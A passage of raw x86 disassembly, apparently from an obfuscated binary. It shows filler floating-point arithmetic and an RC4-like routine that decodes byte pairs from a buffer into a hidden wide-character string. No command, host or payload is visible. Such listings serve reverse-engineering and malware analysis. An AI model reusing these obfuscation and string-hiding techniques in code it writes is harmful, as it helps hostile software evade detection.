movss dword [ebp - 0x3560], xmm0
movss xmm0, dword [ebp - 0x33fc]
mulss xmm0, dword [ebp - 0x3560]
movss dword [ebp - 0x33fc], xmm0
movss xmm0, dword [ebp - 0x35dc]
addss xmm0, dword [ebp - 0x3408]
movss dword [ebp - 0x35dc], xmm0
movss xmm0, dword [ebp - 0x35b4]
divss xmm0, dword [ebp - 0x33fc]
movss dword [ebp - 0x35b4], xmm0
movss xmm0, dword [ebp - 0x35b4]
addss xmm0, dword [ebp - 0x33fc]
movss dword [ebp - 0x35b4], xmm0
movss xmm0, dword [ebp - 0x35b4]
mulss xmm0, dword [ebp - 0x33fc]
movss dword [ebp - 0x35b4], xmm0
jmp 0x448297
movss xmm0, dword [ebp - 0x33fc]
addss xmm0, dword [ebp - 0x343c]
movss dword [ebp - 0x33fc], xmm0
movss xmm0, dword [ebp - 0x33fc]
mulss xmm0, dword [ebp - 0x343c]
movss dword [ebp - 0x33fc], xmm0
movss xmm0, dword [ebp - 0x33fc]
subss xmm0, dword [ebp - 0x343c]
movss dword [ebp - 0x33fc], xmm0
movss xmm0, dword [ebp - 0x3408]
divss xmm0, dword [ebp - 0x33fc]
movss dword [ebp - 0x3408], xmm0
movss xmm0, dword [ebp - 0x3408]
addss xmm0, dword [ebp - 0x33fc]
movss dword [ebp - 0x3408], xmm0
movss xmm0, dword [ebp - 0x33fc]
addss xmm0, dword [ebp - 0x343c]
movss dword [ebp - 0x33fc], xmm0
jmp 0x44832c
movss xmm0, dword [ebp - 0x3408]
divss xmm0, dword [ebp - 0x33fc]
movss dword [ebp - 0x3408], xmm0
movss xmm0, dword [ebp - 0x35dc]
subss xmm0, dword [ebp - 0x35b4]
movss dword [ebp - 0x35dc], xmm0
movss xmm0, dword [ebp - 0x3560]
subss xmm0, dword [ebp - 0x35dc]
movss dword [ebp - 0x3560], xmm0
movss xmm0, dword [ebp - 0x35dc]
addss xmm0, dword [ebp - 0x35b4]
movss dword [ebp - 0x35dc], xmm0
movss xmm0, dword [ebp - 0x35b4]
mulss xmm0, dword [ebp - 0x3408]
movss dword [ebp - 0x35b4], xmm0
movss xmm0, dword [ebp - 0x343c]
addss xmm0, dword [ebp - 0x3560]
movss dword [ebp - 0x343c], xmm0
movzx eax, byte [ebp - 0x3347]
mov cl, byte [ebp + eax - 0x5ce4]
mov byte [ebp - 0x32c8], cl
mov dword [ebp - 0x51e0], 0xe
cmp dword [ebp - 0x51e0], 2
jle 0x449ef2
mov edx, dword [ebp - 0x51e0]
and edx, 1
jne 0x449ef2
mov dword [ebp - 0x33ac], 0
mov dword [ebp - 0x3708], 0
mov eax, dword [ebp - 0x3708]
add eax, 1
mov dword [ebp - 0x3708], eax
mov dword [ebp - 0x3d30], 0
mov ecx, dword [ebp - 0x33ac]
shl ecx, 1
mov dword [ebp - 0x3d30], ecx
mov dword [ebp - 0x3bdc], 0
mov edx, dword [ebp - 0x3d34]
add edx, dword [ebp - 0x3d30]
movzx eax, byte [edx]
add eax, dword [ebp - 0x3bdc]
mov dword [ebp - 0x3bdc], eax
mov dword [ebp - 0x3be0], 0
mov ecx, dword [ebp - 0x3be0]
add ecx, 0x6b
mov dword [ebp - 0x3be0], ecx
mov dword [ebp - 0x3d38], 0
mov edx, dword [ebp - 0x33ac]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x3d38], eax
mov dword [ebp - 0x3b28], 0
mov ecx, dword [ebp - 0x3d34]
add ecx, dword [ebp - 0x3d38]
movzx edx, byte [ecx]
add edx, dword [ebp - 0x3b28]
mov dword [ebp - 0x3b28], edx
mov dword [ebp - 0x3bfc], 0
mov eax, dword [ebp - 0x3bfc]
add eax, 0x5f
mov dword [ebp - 0x3bfc], eax
mov dword [ebp - 0x3c00], 0
mov ecx, dword [ebp - 0x3bdc]
sub ecx, dword [ebp - 0x3be0]
add ecx, dword [ebp - 0x3c00]
mov dword [ebp - 0x3c00], ecx
mov dword [ebp - 0x3be8], 0
movss xmm0, dword [0xa7232c]
movss dword [ebp - 0x3504], xmm0
movss xmm0, dword [0xa72260]
movss dword [ebp - 0x33f0], xmm0
movss xmm0, dword [0xa72198]
movss dword [ebp - 0x3634], xmm0
movss xmm0, dword [0xa720cc]
movss dword [ebp - 0x357c], xmm0
movss xmm0, dword [0xa71ff4]
movss dword [ebp - 0x33e8], xmm0
movss xmm0, dword [ebp - 0x3504]
mulss xmm0, dword [ebp - 0x33e8]
movss dword [ebp - 0x3504], xmm0
movss xmm0, dword [ebp - 0x357c]
subss xmm0, dword [ebp - 0x33e8]
movss dword [ebp - 0x357c], xmm0
movss xmm0, dword [ebp - 0x33f0]
subss xmm0, dword [ebp - 0x33e8]
movss dword [ebp - 0x33f0], xmm0
movss xmm0, dword [ebp - 0x357c]
mulss xmm0, dword [ebp - 0x33e8]
movss dword [ebp - 0x357c], xmm0
movss xmm0, dword [ebp - 0x3504]
mulss xmm0, dword [ebp - 0x33e8]
movss dword [ebp - 0x3504], xmm0
movss xmm0, dword [ebp - 0x3504]
comiss xmm0, dword [ebp - 0x33e8]
jbe 0x4485d5
movss xmm0, dword [ebp - 0x33f0]
subss xmm0, dword [ebp - 0x3634]
movss dword [ebp - 0x33f0], xmm0
movss xmm0, dword [ebp - 0x33e8]
addss xmm0, dword [ebp - 0x3504]
movss dword [ebp - 0x33e8], xmm0
movss xmm0, dword [ebp - 0x357c]
subss xmm0, dword [ebp - 0x33e8]
movss dword [ebp - 0x357c], xmm0
movss xmm0, dword [ebp - 0x3634]
subss xmm0, dword [ebp - 0x357c]
movss dword [ebp - 0x3634], xmm0
movss xmm0, dword [ebp - 0x357c]
addss xmm0, dword [ebp - 0x33e8]
movss dword [ebp - 0x357c], xmm0
mov edx, dword [ebp - 0x3b28]
sub edx, dword [ebp - 0x3bfc]
add edx, dword [ebp - 0x3be8]
mov dword [ebp - 0x3be8], edx
jmp 0x448947
movss xmm0, dword [ebp - 0x3634]
divss xmm0, dword [ebp - 0x33e8]
movss dword [ebp - 0x3634], xmm0
movss xmm0, dword [ebp - 0x33f0]
subss xmm0, dword [ebp - 0x357c]
movss dword [ebp - 0x33f0], xmm0
movss xmm0, dword [ebp - 0x33f0]
subss xmm0, dword [ebp - 0x357c]
movss dword [ebp - 0x33f0], xmm0
movss xmm0, dword [ebp - 0x33e8]
addss xmm0, dword [ebp - 0x33f0]
movss dword [ebp - 0x33e8], xmm0
movss xmm0, dword [ebp - 0x33e8]
subss xmm0, dword [ebp - 0x33f0]
movss dword [ebp - 0x33e8], xmm0
movss xmm0, dword [ebp - 0x33e8]
subss xmm0, dword [ebp - 0x3504]
movss dword [ebp - 0x33e8], xmm0
movss xmm0, dword [ebp - 0x3504]
mulss xmm0, dword [ebp - 0x33f0]
movss dword [ebp - 0x3504], xmm0
movss xmm0, dword [ebp - 0x33f0]
divss xmm0, dword [ebp - 0x3634]
movss dword [ebp - 0x33f0], xmm0
movss xmm0, dword [ebp - 0x33f0]
subss xmm0, dword [ebp - 0x3634]
movss dword [ebp - 0x33f0], xmm0
movss xmm0, dword [ebp - 0x33e8]
subss xmm0, dword [ebp - 0x3504]
movss dword [ebp - 0x33e8], xmm0
movss xmm0, dword [ebp - 0x3634]
comiss xmm0, dword [ebp - 0x33e8]
jbe 0x4488cf
movss xmm0, dword [ebp - 0x33e8]
divss xmm0, dword [ebp - 0x3504]
movss dword [ebp - 0x33e8], xmm0
movss xmm0, dword [ebp - 0x33e8]
divss xmm0, dword [ebp - 0x3504]
movss dword [ebp - 0x33e8], xmm0
movss xmm0, dword [ebp - 0x357c]
subss xmm0, dword [ebp - 0x33e8]
movss dword [ebp - 0x357c], xmm0
movss xmm0, dword [ebp - 0x33f0]
subss xmm0, dword [ebp - 0x3634]
movss dword [ebp - 0x33f0], xmm0
movss xmm0, dword [ebp - 0x33f0]
divss xmm0, dword [ebp - 0x3634]
movss dword [ebp - 0x33f0], xmm0
movss xmm0, dword [ebp - 0x357c]
addss xmm0, dword [ebp - 0x33e8]
movss dword [ebp - 0x357c], xmm0
movss xmm0, dword [ebp - 0x33e8]
addss xmm0, dword [ebp - 0x3504]
movss dword [ebp - 0x33e8], xmm0
movss xmm0, dword [ebp - 0x33e8]
addss xmm0, dword [ebp - 0x3504]
movss dword [ebp - 0x33e8], xmm0
movss xmm0, dword [ebp - 0x3504]
mulss xmm0, dword [ebp - 0x33f0]
movss dword [ebp - 0x3504], xmm0
movss xmm0, dword [ebp - 0x357c]
subss xmm0, dword [ebp - 0x33e8]
movss dword [ebp - 0x357c], xmm0
movss xmm0, dword [ebp - 0x3504]
comiss xmm0, dword [ebp - 0x357c]
jbe 0x448855
movss xmm0, dword [ebp - 0x3504]
addss xmm0, dword [ebp - 0x33f0]
movss dword [ebp - 0x3504], xmm0
movss xmm0, dword [ebp - 0x33f0]
mulss xmm0, dword [ebp - 0x3634]
movss dword [ebp - 0x33f0], xmm0
movss xmm0, dword [ebp - 0x3504]
subss xmm0, dword [ebp - 0x33f0]
movss dword [ebp - 0x3504], xmm0
movss xmm0, dword [ebp - 0x33e8]
subss xmm0, dword [ebp - 0x3504]
movss dword [ebp - 0x33e8], xmm0
movss xmm0, dword [ebp - 0x33f0]
addss xmm0, dword [ebp - 0x3634]
movss dword [ebp - 0x33f0], xmm0
jmp 0x4488cd
movss xmm0, dword [ebp - 0x3634]
addss xmm0, dword [ebp - 0x33e8]
movss dword [ebp - 0x3634], xmm0
movss xmm0, dword [ebp - 0x3634]
addss xmm0, dword [ebp - 0x33e8]
movss dword [ebp - 0x3634], xmm0
movss xmm0, dword [ebp - 0x357c]
subss xmm0, dword [ebp - 0x3504]
movss dword [ebp - 0x357c], xmm0
movss xmm0, dword [ebp - 0x357c]
mulss xmm0, dword [ebp - 0x3504]
movss dword [ebp - 0x357c], xmm0
movss xmm0, dword [ebp - 0x33f0]
mulss xmm0, dword [ebp - 0x357c]
movss dword [ebp - 0x33f0], xmm0
jmp 0x448947
movss xmm0, dword [ebp - 0x33f0]
mulss xmm0, dword [ebp - 0x3634]
movss dword [ebp - 0x33f0], xmm0
movss xmm0, dword [ebp - 0x3634]
subss xmm0, dword [ebp - 0x357c]
movss dword [ebp - 0x3634], xmm0
movss xmm0, dword [ebp - 0x33f0]
mulss xmm0, dword [ebp - 0x3634]
movss dword [ebp - 0x33f0], xmm0
movss xmm0, dword [ebp - 0x33f0]
addss xmm0, dword [ebp - 0x3634]
movss dword [ebp - 0x33f0], xmm0
movss xmm0, dword [ebp - 0x3504]
subss xmm0, dword [ebp - 0x33f0]
movss dword [ebp - 0x3504], xmm0
mov dword [ebp - 0x3d3c], 0
mov eax, dword [ebp - 0x3c00]
shl eax, 4
mov dword [ebp - 0x3d3c], eax
mov dword [ebp - 0x3d40], 0
mov ecx, dword [ebp - 0x3be8]
mov dword [ebp - 0x3d40], ecx
mov dword [ebp - 0x3c30], 0
mov edx, dword [ebp - 0x3d3c]
or edx, dword [ebp - 0x3d40]
mov dword [ebp - 0x3c30], edx
mov byte [ebp - 0x32f1], 0
mov al, byte [ebp - 0x3c30]
mov byte [ebp - 0x32f1], al
mov byte [ebp - 0x32f3], 0
movzx ecx, byte [ebp - 0x32c8]
mov dl, byte [ebp + ecx - 0x5ce4]
mov byte [ebp - 0x32f3], dl
movzx eax, byte [ebp - 0x327f]
movzx ecx, byte [ebp + eax - 0x5ce4]
movzx edx, byte [ebp - 0x329d]
add edx, ecx
mov byte [ebp - 0x329d], dl
mov al, byte [ebp - 0x327f]
add al, 1
mov byte [ebp - 0x327f], al
movzx ecx, byte [ebp - 0x329d]
movzx edx, byte [ebp - 0x32c8]
mov al, byte [ebp + ecx - 0x5ce4]
mov byte [ebp + edx - 0x5ce4], al
movzx ecx, byte [ebp - 0x329e]
movzx edx, byte [ebp - 0x329d]
mov al, byte [ebp + ecx - 0x5ce4]
mov byte [ebp + edx - 0x5ce4], al
movzx ecx, byte [ebp - 0x327f]
movzx edx, byte [ebp - 0x329e]
mov al, byte [ebp + ecx - 0x5ce4]
mov byte [ebp + edx - 0x5ce4], al
movzx ecx, byte [ebp - 0x327f]
mov dl, byte [ebp - 0x32f3]
mov byte [ebp + ecx - 0x5ce4], dl
movzx eax, byte [ebp - 0x32f3]
movzx ecx, byte [ebp + eax - 0x5ce4]
movzx edx, byte [ebp - 0x32f2]
add edx, ecx
mov byte [ebp - 0x32f2], dl
movzx eax, byte [ebp - 0x32f1]
movzx ecx, byte [ebp - 0x329d]
movzx edx, byte [ebp + ecx - 0x5ce4]
movzx ecx, byte [ebp - 0x327f]
movzx ecx, byte [ebp + ecx - 0x5ce4]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x5ce4]
xor eax, edx
movzx ecx, byte [ebp - 0x329e]
movzx edx, byte [ebp + ecx - 0x5ce4]
movzx ecx, byte [ebp - 0x32c8]
movzx ecx, byte [ebp + ecx - 0x5ce4]
add edx, ecx
movzx ecx, byte [ebp - 0x32f2]
movzx ecx, byte [ebp + ecx - 0x5ce4]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x5ce4]
movzx ecx, byte [ebp + edx - 0x5ce4]
xor eax, ecx
mov byte [ebp - 0x329e], al
mov dl, byte [ebp - 0x32f1]
mov byte [ebp - 0x32c8], dl
mov al, byte [ebp - 0x329e]
mov byte [ebp - 0x3367], al
cmp dword [ebp - 0x33ac], 0
jle 0x448b2c
movsx cx, byte [ebp - 0x3367]
mov edx, dword [ebp - 0x33ac]
mov word [ebp + edx*2 - 0x52], cx
mov eax, dword [ebp - 0x33ac]
add eax, 1
mov dword [ebp - 0x33ac], eax
mov ecx, dword [ebp - 0x3708]
add ecx, 1
mov dword [ebp - 0x3708], ecx
mov edx, dword [ebp - 0x33ac]
shl edx, 1
mov dword [ebp - 0x3d30], edx
mov eax, dword [ebp - 0x3d34]
add eax, dword [ebp - 0x3d30]
movzx ecx, byte [eax]
mov dword [ebp - 0x3bdc], ecx
mov dword [ebp - 0x3be0], 0x6b
mov edx, dword [ebp - 0x33ac]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x3d38], eax
mov ecx, dword [ebp - 0x3d34]
add ecx, dword [ebp - 0x3d38]
movzx edx, byte [ecx]
mov dword [ebp - 0x3b28], edx
mov dword [ebp - 0x3bfc], 0x5f
mov eax, dword [ebp - 0x3bdc]
sub eax, dword [ebp - 0x3be0]
mov dword [ebp - 0x3c00], eax
mov ecx, dword [ebp - 0x3b28]
sub ecx, dword [ebp - 0x3bfc]
mov dword [ebp - 0x3be8], ecx
mov edx, dword [ebp - 0x3c00]
shl edx, 4
mov dword [ebp - 0x3d3c], edx
mov eax, dword [ebp - 0x3be8]
mov dword [ebp - 0x3d40], eax
mov ecx, dword [ebp - 0x3d3c]
or ecx, dword [ebp - 0x3d40]
mov dword [ebp - 0x3c30], ecx
mov dl, byte [ebp - 0x3c30]
mov byte [ebp - 0x32f1], dl
movzx eax, byte [ebp - 0x32c8]
mov cl, byte [ebp + eax - 0x5ce4]
mov byte [ebp - 0x32f3], cl
movzx edx, byte [ebp - 0x327f]
movzx eax, byte [ebp + edx - 0x5ce4]
movzx ecx, byte [ebp - 0x329d]
add ecx, eax
mov byte [ebp - 0x329d], cl
mov dl, byte [ebp - 0x327f]
add dl, 1
mov byte [ebp - 0x327f], dl
movzx eax, byte [ebp - 0x329d]
movzx ecx, byte [ebp - 0x32c8]
mov dl, byte [ebp + eax - 0x5ce4]
mov byte [ebp + ecx - 0x5ce4], dl
movzx eax, byte [ebp - 0x329e]
movzx ecx, byte [ebp - 0x329d]
mov dl, byte [ebp + eax - 0x5ce4]
mov byte [ebp + ecx - 0x5ce4], dl
movzx eax, byte [ebp - 0x327f]
movzx ecx, byte [ebp - 0x329e]
mov dl, byte [ebp + eax - 0x5ce4]
mov byte [ebp + ecx - 0x5ce4], dl
movzx eax, byte [ebp - 0x327f]
mov cl, byte [ebp - 0x32f3]
mov byte [ebp + eax - 0x5ce4], cl
movzx edx, byte [ebp - 0x32f3]
movzx eax, byte [ebp + edx - 0x5ce4]
movzx ecx, byte [ebp - 0x32f2]
add ecx, eax
mov byte [ebp - 0x32f2], cl
movzx edx, byte [ebp - 0x32f1]
movzx eax, byte [ebp - 0x329d]
movzx ecx, byte [ebp + eax - 0x5ce4]
movzx eax, byte [ebp - 0x327f]
movzx eax, byte [ebp + eax - 0x5ce4]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x5ce4]
xor edx, ecx
movzx eax, byte [ebp - 0x329e]
movzx ecx, byte [ebp + eax - 0x5ce4]
movzx eax, byte [ebp - 0x32c8]
movzx eax, byte [ebp + eax - 0x5ce4]
add ecx, eax
movzx eax, byte [ebp - 0x32f2]
movzx eax, byte [ebp + eax - 0x5ce4]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x5ce4]
movzx eax, byte [ebp + ecx - 0x5ce4]
xor edx, eax
mov byte [ebp - 0x329e], dl
mov cl, byte [ebp - 0x32f1]
mov byte [ebp - 0x32c8], cl
mov dl, byte [ebp - 0x329e]
mov byte [ebp - 0x3367], dl
cmp dword [ebp - 0x33ac], 0
jle 0x448d84
movsx ax, byte [ebp - 0x3367]
mov ecx, dword [ebp - 0x33ac]
mov word [ebp + ecx*2 - 0x52], ax
mov edx, dword [ebp - 0x3708]
add edx, 1
mov dword [ebp - 0x3708], edx
mov eax, dword [ebp - 0x33ac]
add eax, 1
mov dword [ebp - 0x4a20], eax
jmp 0x448db3
mov edx, dword [ebp - 0x4a20]
cmp edx, dword [ebp - 0x3708]
jge 0x449011
mov eax, dword [ebp - 0x33ac]
add eax, 1
mov dword [ebp - 0x33ac], eax
mov ecx, dword [ebp - 0x33ac]
shl ecx, 1
mov dword [ebp - 0x3d30], ecx
mov edx, dword [ebp - 0x3d34]
add edx, dword [ebp - 0x3d30]
movzx eax, byte [edx]
mov dword [ebp - 0x3bdc], eax
mov dword [ebp - 0x3be0], 0x6b
mov ecx, dword [ebp - 0x33ac]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x3d38], edx
mov eax, dword [ebp - 0x3d34]
add eax, dword [ebp - 0x3d38]
movzx ecx, byte [eax]
mov dword [ebp - 0x3b28], ecx
mov dword [ebp - 0x3bfc], 0x5f
mov edx, dword [ebp - 0x3bdc]
sub edx, dword [ebp - 0x3be0]
mov dword [ebp - 0x3c00], edx
mov eax, dword [ebp - 0x3b28]
sub eax, dword [ebp - 0x3bfc]
mov dword [ebp - 0x3be8], eax
mov ecx, dword [ebp - 0x3c00]
shl ecx, 4
mov dword [ebp - 0x3d3c], ecx
mov edx, dword [ebp - 0x3be8]
mov dword [ebp - 0x3d40], edx
mov eax, dword [ebp - 0x3d3c]
or eax, dword [ebp - 0x3d40]
mov dword [ebp - 0x3c30], eax
mov cl, byte [ebp - 0x3c30]
mov byte [ebp - 0x32f1], cl
movzx edx, byte [ebp - 0x32c8]
mov al, byte [ebp + edx - 0x5ce4]
mov byte [ebp - 0x32f3], al
movzx ecx, byte [ebp - 0x327f]
movzx edx, byte [ebp + ecx - 0x5ce4]
movzx eax, byte [ebp - 0x329d]
add eax, edx
mov byte [ebp - 0x329d], al
mov cl, byte [ebp - 0x327f]
add cl, 1
mov byte [ebp - 0x327f], cl
movzx edx, byte [ebp - 0x329d]
movzx eax, byte [ebp - 0x32c8]
mov cl, byte [ebp + edx - 0x5ce4]
mov byte [ebp + eax - 0x5ce4], cl
movzx edx, byte [ebp - 0x329e]
movzx eax, byte [ebp - 0x329d]
mov cl, byte [ebp + edx - 0x5ce4]
mov byte [ebp + eax - 0x5ce4], cl
movzx edx, byte [ebp - 0x327f]
movzx eax, byte [ebp - 0x329e]
mov cl, byte [ebp + edx - 0x5ce4]
mov byte [ebp + eax - 0x5ce4], cl
movzx edx, byte [ebp - 0x327f]
mov al, byte [ebp - 0x32f3]
mov byte [ebp + edx - 0x5ce4], al
movzx ecx, byte [ebp - 0x32f3]
movzx edx, byte [ebp + ecx - 0x5ce4]
movzx eax, byte [ebp - 0x32f2]
add eax, edx
mov byte [ebp - 0x32f2], al
movzx ecx, byte [ebp - 0x32f1]
movzx edx, byte [ebp - 0x329d]
movzx eax, byte [ebp + edx - 0x5ce4]
movzx edx, byte [ebp - 0x327f]
movzx edx, byte [ebp + edx - 0x5ce4]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x5ce4]
xor ecx, eax
movzx edx, byte [ebp - 0x329e]
movzx eax, byte [ebp + edx - 0x5ce4]
movzx edx, byte [ebp - 0x32c8]
movzx edx, byte [ebp + edx - 0x5ce4]
add eax, edx
movzx edx, byte [ebp - 0x32f2]
movzx edx, byte [ebp + edx - 0x5ce4]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x5ce4]
movzx edx, byte [ebp + eax - 0x5ce4]
xor ecx, edx
mov byte [ebp - 0x329e], cl
mov al, byte [ebp - 0x32f1]
mov byte [ebp - 0x32c8], al
mov cl, byte [ebp - 0x329e]
mov byte [ebp - 0x3367], cl
cmp dword [ebp - 0x33ac], 0
jle 0x44900c
movsx dx, byte [ebp - 0x3367]
mov eax, dword [ebp - 0x33ac]
mov word [ebp + eax*2 - 0x52], dx
jmp 0x448da4
mov ecx, dword [ebp - 0x3708]
add ecx, 1
mov dword [ebp - 0x3708], ecx
mov edx, dword [ebp - 0x33ac]
add edx, 1
mov dword [ebp - 0x33ac], edx
mov eax, dword [ebp - 0x3708]
add eax, 1
mov dword [ebp - 0x3708], eax
mov ecx, dword [ebp - 0x33ac]
shl ecx, 1
mov dword [ebp - 0x3d30], ecx
mov edx, dword [ebp - 0x3d34]
add edx, dword [ebp - 0x3d30]
movzx eax, byte [edx]
mov dword [ebp - 0x3bdc], eax
mov dword [ebp - 0x3be0], 0x6b
mov ecx, dword [ebp - 0x33ac]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x3d38], edx
mov eax, dword [ebp - 0x3d34]
add eax, dword [ebp - 0x3d38]
movzx ecx, byte [eax]
mov dword [ebp - 0x3b28], ecx
mov dword [ebp - 0x3bfc], 0x5f
mov edx, dword [ebp - 0x3bdc]
sub edx, dword [ebp - 0x3be0]
mov dword [ebp - 0x3c00], edx
mov eax, dword [ebp - 0x3b28]
sub eax, dword [ebp - 0x3bfc]
mov dword [ebp - 0x3be8], eax
mov ecx, dword [ebp - 0x3c00]
shl ecx, 4
mov dword [ebp - 0x3d3c], ecx
mov edx, dword [ebp - 0x3be8]
mov dword [ebp - 0x3d40], edx
mov eax, dword [ebp - 0x3d3c]
or eax, dword [ebp - 0x3d40]
mov dword [ebp - 0x3c30], eax
mov cl, byte [ebp - 0x3c30]
mov byte [ebp - 0x32f1], cl
movzx edx, byte [ebp - 0x32c8]
mov al, byte [ebp + edx - 0x5ce4]
mov byte [ebp - 0x32f3], al
movzx ecx, byte [ebp - 0x327f]
movzx edx, byte [ebp + ecx - 0x5ce4]
movzx eax, byte [ebp - 0x329d]
add eax, edx
mov byte [ebp - 0x329d], al
mov cl, byte [ebp - 0x327f]
add cl, 1
mov byte [ebp - 0x327f], cl
movzx edx, byte [ebp - 0x329d]
movzx eax, byte [ebp - 0x32c8]
mov cl, byte [ebp + edx - 0x5ce4]
mov byte [ebp + eax - 0x5ce4], cl
movzx edx, byte [ebp - 0x329e]
movzx eax, byte [ebp - 0x329d]
mov cl, byte [ebp + edx - 0x5ce4]
mov byte [ebp + eax - 0x5ce4], cl
movzx edx, byte [ebp - 0x327f]
movzx eax, byte [ebp - 0x329e]
mov cl, byte [ebp + edx - 0x5ce4]
mov byte [ebp + eax - 0x5ce4], cl
movzx edx, byte [ebp - 0x327f]
mov al, byte [ebp - 0x32f3]
mov byte [ebp + edx - 0x5ce4], al
movzx ecx, byte [ebp - 0x32f3]
movzx edx, byte [ebp + ecx - 0x5ce4]
movzx eax, byte [ebp - 0x32f2]
add eax, edx
mov byte [ebp - 0x32f2], al
movzx ecx, byte [ebp - 0x32f1]
movzx edx, byte [ebp - 0x329d]
movzx eax, byte [ebp + edx - 0x5ce4]
movzx edx, byte [ebp - 0x327f]
movzx edx, byte [ebp + edx - 0x5ce4]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x5ce4]
xor ecx, eax
movzx edx, byte [ebp - 0x329e]
movzx eax, byte [ebp + edx - 0x5ce4]
movzx edx, byte [ebp - 0x32c8]
movzx edx, byte [ebp + edx - 0x5ce4]
add eax, edx
movzx edx, byte [ebp - 0x32f2]
movzx edx, byte [ebp + edx - 0x5ce4]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x5ce4]
movzx edx, byte [ebp + eax - 0x5ce4]
xor ecx, edx
mov byte [ebp - 0x329e], cl
mov al, byte [ebp - 0x32f1]
mov byte [ebp - 0x32c8], al
mov cl, byte [ebp - 0x329e]
mov byte [ebp - 0x3367], cl
cmp dword [ebp - 0x33ac], 0
jle 0x449276
movsx dx, byte [ebp - 0x3367]
mov eax, dword [ebp - 0x33ac]
mov word [ebp + eax*2 - 0x52], dx
mov ecx, dword [ebp - 0x33ac]
add ecx, 1
mov dword [ebp - 0x33ac], ecx
mov edx, dword [ebp - 0x3708]
add edx, 1
mov dword [ebp - 0x3708], edx
mov eax, dword [ebp - 0x33ac]
shl eax, 1
mov dword [ebp - 0x3d30], eax
mov ecx, dword [ebp - 0x3d34]
add ecx, dword [ebp - 0x3d30]
movzx edx, byte [ecx]
mov dword [ebp - 0x3bdc], edx
mov dword [ebp - 0x3be0], 0x6b
mov eax, dword [ebp - 0x33ac]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x3d38], ecx
mov edx, dword [ebp - 0x3d34]
add edx, dword [ebp - 0x3d38]
movzx eax, byte [edx]
mov dword [ebp - 0x3b28], eax
mov dword [ebp - 0x3bfc], 0x5f
mov ecx, dword [ebp - 0x3bdc]
sub ecx, dword [ebp - 0x3be0]
mov dword [ebp - 0x3c00], ecx
mov edx, dword [ebp - 0x3b28]
sub edx, dword [ebp - 0x3bfc]
mov dword [ebp - 0x3be8], edx
mov eax, dword [ebp - 0x3c00]
shl eax, 4
mov dword [ebp - 0x3d3c], eax
mov ecx, dword [ebp - 0x3be8]
mov dword [ebp - 0x3d40], ecx
mov edx, dword [ebp - 0x3d3c]
or edx, dword [ebp - 0x3d40]
mov dword [ebp - 0x3c30], edx
mov al, byte [ebp - 0x3c30]
mov byte [ebp - 0x32f1], al
movzx ecx, byte [ebp - 0x32c8]
mov dl, byte [ebp + ecx - 0x5ce4]
mov byte [ebp - 0x32f3], dl
movzx eax, byte [ebp - 0x327f]
movzx ecx, byte [ebp + eax - 0x5ce4]
movzx edx, byte [ebp - 0x329d]
add edx, ecx
mov byte [ebp - 0x329d], dl
mov al, byte [ebp - 0x327f]
add al, 1
mov byte [ebp - 0x327f], al
movzx ecx, byte [ebp - 0x329d]
movzx edx, byte [ebp - 0x32c8]
mov al, byte [ebp + ecx - 0x5ce4]
mov byte [ebp + edx - 0x5ce4], al
movzx ecx, byte [ebp - 0x329e]
movzx edx, byte [ebp - 0x329d]
mov al, byte [ebp + ecx - 0x5ce4]
mov byte [ebp + edx - 0x5ce4], al
movsd xmm0, qword [0xa71e58]
movsd qword [ebp - 0x3f98], xmm0
movsd xmm0, qword [0xa71ca0]
movsd qword [ebp - 0x3a3c], xmm0
movsd xmm0, qword [0xa71ac0]
movsd qword [ebp - 0x3dc4], xmm0
movsd xmm0, qword [0xa71808]
movsd qword [ebp - 0x3b4c], xmm0
movsd xmm0, qword [ebp - 0x3f98]
addsd xmm0, qword [ebp - 0x3b4c]
movsd qword [ebp - 0x3f98], xmm0
movsd xmm0, qword [ebp - 0x3a3c]
subsd xmm0, qword [ebp - 0x3b4c]
movsd qword [ebp - 0x3a3c], xmm0
movsd xmm0, qword [ebp - 0x3a3c]
addsd xmm0, qword [ebp - 0x3b4c]
movsd qword [ebp - 0x3a3c], xmm0
movsd xmm0, qword [ebp - 0x3dc4]
mulsd xmm0, qword [ebp - 0x3b4c]
movsd qword [ebp - 0x3dc4], xmm0
movsd xmm0, qword [ebp - 0x3dc4]
comisd xmm0, xmmword [ebp - 0x3b4c]
jbe 0x4494fc
mov dword [ebp - 0x49ac], 0
jmp 0x449f0d
mov eax, dword [ebp - 0x49ac]
add eax, 1
mov dword [ebp - 0x49ac], eax
cmp dword [ebp - 0x49ac], 7
jge 0x449f43
mov ecx, dword [ebp - 0x49ac]
shl ecx, 1
mov dword [ebp - 0x51d8], ecx
cmp dword [ebp - 0x51d8], 0xe
jae 0x449f2f
jmp 0x449f34
call fcn.009f5b17
xor edx, edx
mov eax, dword [ebp - 0x51d8]
mov word [ebp + eax - 0x50], dx
jmp 0x449efe
lea ecx, [ebp - 0x50]
mov dword [ebp - 0x46b8], ecx
mov edx, dword [ebp - 0x46b8]
mov dword [ebp - 0x51d4], edx
mov eax, dword [ebp - 0x46b8]
mov cx, word [eax]
mov word [ebp - 0x4b10], cx
add dword [ebp - 0x46b8], 2
cmp word [ebp - 0x4b10], 0
jne 0x449f58
mov edx, dword [ebp - 0x46b8]
sub edx, dword [ebp - 0x51d4]
mov eax, dword [ebp - 0x51d4]
mov dword [ebp - 0x634c], eax
mov dword [ebp - 0x6348], edx
lea ecx, [ebp - 0x978]
add ecx, 0xfffffffe
mov dword [ebp - 0x49b0], ecx
mov edx, dword [ebp - 0x49b0]
mov ax, word [edx + 2]
mov word [ebp - 0x4b0e], ax
add dword [ebp - 0x49b0], 2
cmp word [ebp - 0x4b0e], 0
jne 0x449fa6
mov edi, dword [ebp - 0x49b0]
mov esi, dword [ebp - 0x634c]
mov edx, dword [ebp - 0x6348]
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
